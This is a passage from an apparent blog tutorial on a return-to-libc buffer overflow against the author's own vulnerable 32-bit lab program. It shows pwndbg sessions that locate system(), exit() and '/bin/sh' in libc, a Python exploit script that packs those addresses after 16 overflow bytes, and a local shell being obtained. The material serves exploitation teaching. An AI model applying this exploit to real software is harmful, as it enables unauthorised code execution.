41
42
43
pwndbg> run Test
Starting program: /home/securitynik/retLibC Test

Breakpoint 1, 0x565561ad in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS ]───────────────────────────────────────
 EAX  0xf7fae808 (environ) —▸ 0xffffd300 —▸ 0xffffd49c ◂— 'SHELL=/bin/bash'
 EBX  0x0
 ECX  0x87198fdb
 EDX  0xffffd284 ◂— 0x0
 EDI  0xf7fac000 ◂— 0x1dfd6c
 ESI  0xf7fac000 ◂— 0x1dfd6c
 EBP  0xffffd258 ◂— 0x0
 ESP  0xffffd254 ◂— 0x0
 EIP  0x565561ad (main+4) ◂— sub    esp, 8
────────────────────────────────────────[ DISASM ]─────────────────────────────────────────
  0x565561ad <main+4>     sub    esp, 8
   0x565561b0 <main+7>     call   __x86.get_pc_thunk.bx <0x565560b0>

   0x565561b5 <main+12>    add    ebx, 0x2e4b
   0x565561bb <main+18>    mov    eax, dword ptr [ebp + 0xc]
   0x565561be <main+21>    add    eax, 4
   0x565561c1 <main+24>    mov    eax, dword ptr [eax]
   0x565561c3 <main+26>    push   eax
   0x565561c4 <main+27>    lea    eax, [ebp - 0xc]
   0x565561c7 <main+30>    push   eax
   0x565561c8 <main+31>    call   strcpy@plt <0x56556040>

   0x565561cd <main+36>    add    esp, 8
─────────────────────────────────────────[ STACK ]─────────────────────────────────────────
00:0000 esp  0xffffd254 ◂— 0x0
... 
02:0008      0xffffd25c —▸ 0xf7deaef1 (__libc_start_main+241) ◂— add    esp, 0x10
03:000c│      0xffffd260 ◂— 0x2
04:0010      0xffffd264 —▸ 0xffffd2f4 —▸ 0xffffd47d ◂— '/home/securitynik/retLibC'
05:0014      0xffffd268 —▸ 0xffffd300 —▸ 0xffffd49c ◂— 'SHELL=/bin/bash'
06:0018      0xffffd26c —▸ 0xffffd284 ◂— 0x0
07:001c│      0xffffd270 ◂— 0x1
───────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────
  f 0 565561ad main+4
   f 1 f7deaef1 __libc_start_main+241
───────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

If we look closely at the above, we see

1
05:0014      0xffffd268 —▸ 0xffffd300 —▸ 0xffffd49c ◂— 'SHELL=/bin/bash'

This tells us that 'SHELL=/bin/bash' can be found at 0xffffd49c. However, we don't need the entire string, we just need the part that has /bin/bash. To do this lets add 6 bytes to 0xffffd49c. These 6 bytes represents "SHELL=". Let's use GDB to confirm we are correct by looking at 1 String starting at address 0xffffd49c+6.

1
2
pwndbg> x/1s 0xffffd49c+6
0xffffd4a2: "/bin/bash"

Looks good. Let's now find /bin/sh  via the long way first.

If we look at the process memory mapping, we see

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> info proc mappings
process 7451

Mapped address spaces:
 Start Addr   End Addr       Size     Offset objfile
 0x56555000 0x56556000     0x1000        0x0 /home/securitynik/retLibC
 0x56556000 0x56557000     0x1000     0x1000 /home/securitynik/retLibC
 0x56557000 0x56558000     0x1000     0x2000 /home/securitynik/retLibC
 0x56558000 0x56559000     0x1000     0x2000 /home/securitynik/retLibC
 0x56559000 0x5655a000     0x1000     0x3000 /home/securitynik/retLibC
 0xf7dcc000 0xf7de9000    0x1d000        0x0 /usr/lib32/libc-2.30.so
 0xf7de9000 0xf7f3b000   0x152000    0x1d000 /usr/lib32/libc-2.30.so
 0xf7f3b000 0xf7faa000    0x6f000   0x16f000 /usr/lib32/libc-2.30.so
 0xf7faa000 0xf7fac000     0x2000   0x1dd000 /usr/lib32/libc-2.30.so
 0xf7fac000 0xf7fae000     0x2000   0x1df000 /usr/lib32/libc-2.30.so
 0xf7fae000 0xf7fb0000     0x2000        0x0
 0xf7fce000 0xf7fd0000     0x2000        0x0
 0xf7fd0000 0xf7fd3000     0x3000        0x0 [vvar]
 0xf7fd3000 0xf7fd4000     0x1000        0x0 [vdso]
 0xf7fd4000 0xf7fd5000     0x1000        0x0 /usr/lib32/ld-2.30.so
 0xf7fd5000 0xf7ff1000    0x1c000     0x1000 /usr/lib32/ld-2.30.so
 0xf7ff1000 0xf7ffc000     0xb000    0x1d000 /usr/lib32/ld-2.30.so
 0xf7ffc000 0xf7ffd000     0x1000    0x27000 /usr/lib32/ld-2.30.so
 0xf7ffd000 0xf7ffe000     0x1000    0x28000 /usr/lib32/ld-2.30.so
 0xfffdd000 0xffffe000    0x21000        0x0 [stack]

Let's search the memory space of /usr/lib32/libc-2.30.so for /bin/sh. That starting address is 0xf7dcc000 with ending address 0xf7fae000. Running the find command.

1
2
3
pwndbg> find 0xf7dcc000,0xf7fae000,"/bin/sh"
0xf7f54406
1 pattern found.

Above we see GDB reports 1 match found. Let's confirm this match by looking at the string at that address.

1
2
pwndbg> x/1s 0xf7f54406
0xf7f54406: "/bin/sh"

There it is, we found the /bin/sh string.

The easier way to find that string since I am using "pwndbg", is to use the search command.

1
2
pwndbg> search "/bin/sh"
libc-2.30.so    0xf7f54406 '/bin/sh'

At this point, we have the 3 things we mentioned above. The location of system(), exit() and the shell.

Let's use /bin/sh in our example.

Here our "exploit" script.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python

import struct

if __name__ == '__main__':
    # Create a file to store payload which will be used as input to sample program.

    input_fp = open('input-libC', 'w')

    '''
    Specify the location where the system() function can be found.
    Convert the address to little endian
    '''
    system_location = struct.pack('<L', 0xf7e105f0)

    '''
    Specify the location where the exit() function can be found.
    Convert the address to little endian
    '''

    exit_location = struct.pack('<L', 0xf7e03360)

    '''
    Specify the location where the exit() function can be found.
    Convert the address to little endian
    '''

    bin_sh_location = struct.pack('<L', 0xf7f54406)

    # put it all together. The 16 As overflow the buffer
    ret_to_libC = "A"*16 + system_location + exit_location + bin_sh_location
    print(ret_to_libC)

When we run this script, we see

1
2
3
┌─[securitynik@securitynik]─[~]
└──╼ $./exploit-retLibC.py
AAAAAAAAAAAAAAAA���`3��D��

Let's now test in GDB, starting with deleting the previously added breakpoint.

1
2
3
pwndbg> del breakpoints
pwndbg> info breakpoints
No breakpoints or watchpoints.

Using the exploit script as input to the program.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
pwndbg> run $(python exploit-retLibC.py)
Starting program: /home/securitynik/retLibC $(python exploit-retLibC.py)
You entered AAAAAAAAAAAAAAAA���`3��D��
[Attaching after process 7559 vfork to child process 7561]
[New inferior 2 (process 7561)]
[Detaching vfork parent process 7559 after child exec]
[Inferior 1 (process 7559) detached]
process 7561 is executing new program: /usr/bin/dash
[Attaching after process 7561 fork to child process 7562]
[New inferior 3 (process 7562)]
[Detaching after fork from parent process 7561]
[Inferior 2 (process 7561) detached]
process 7562 is executing new program: /usr/bin/dash
$

Looks like it works within GDB. Let's see if it also works outside of GDB.

Type quit to exit GDB.

1
pwndbg> quit

Running the script at the command prompt

1
2
3
4
5
6
7
┌─[securitynik@securitynik]─[~]
└──╼ $./retLibC $(python exploit-retLibC.py)
You entered AAAAAAAAAAAAAAAA���`3��D��
$ id --user
1000
$ uname --nodename --machine
securitynik x86_64

Above, we see we got a shell via "/bin/sh"

That's it. See you in the next post.

References:
https://css.csail.mit.edu/6.858/2014/readings/return-to-libc.pdf
https://www.exploit-db.com/docs/english/28553-linux-classic-return-to-libc-&-return-to-libc-chaining-tutorial.pdf
phrack.org/issues/58/4.html
https://www.youtube.com/watch?v=LBo56Xyowvk
https://www.youtube.com/watch?v=m17mV24TgwY
https://outflux.net/blog/archives/2014/01/27/fstack-protector-strong/
https://github.com/pwndbg/pwndbg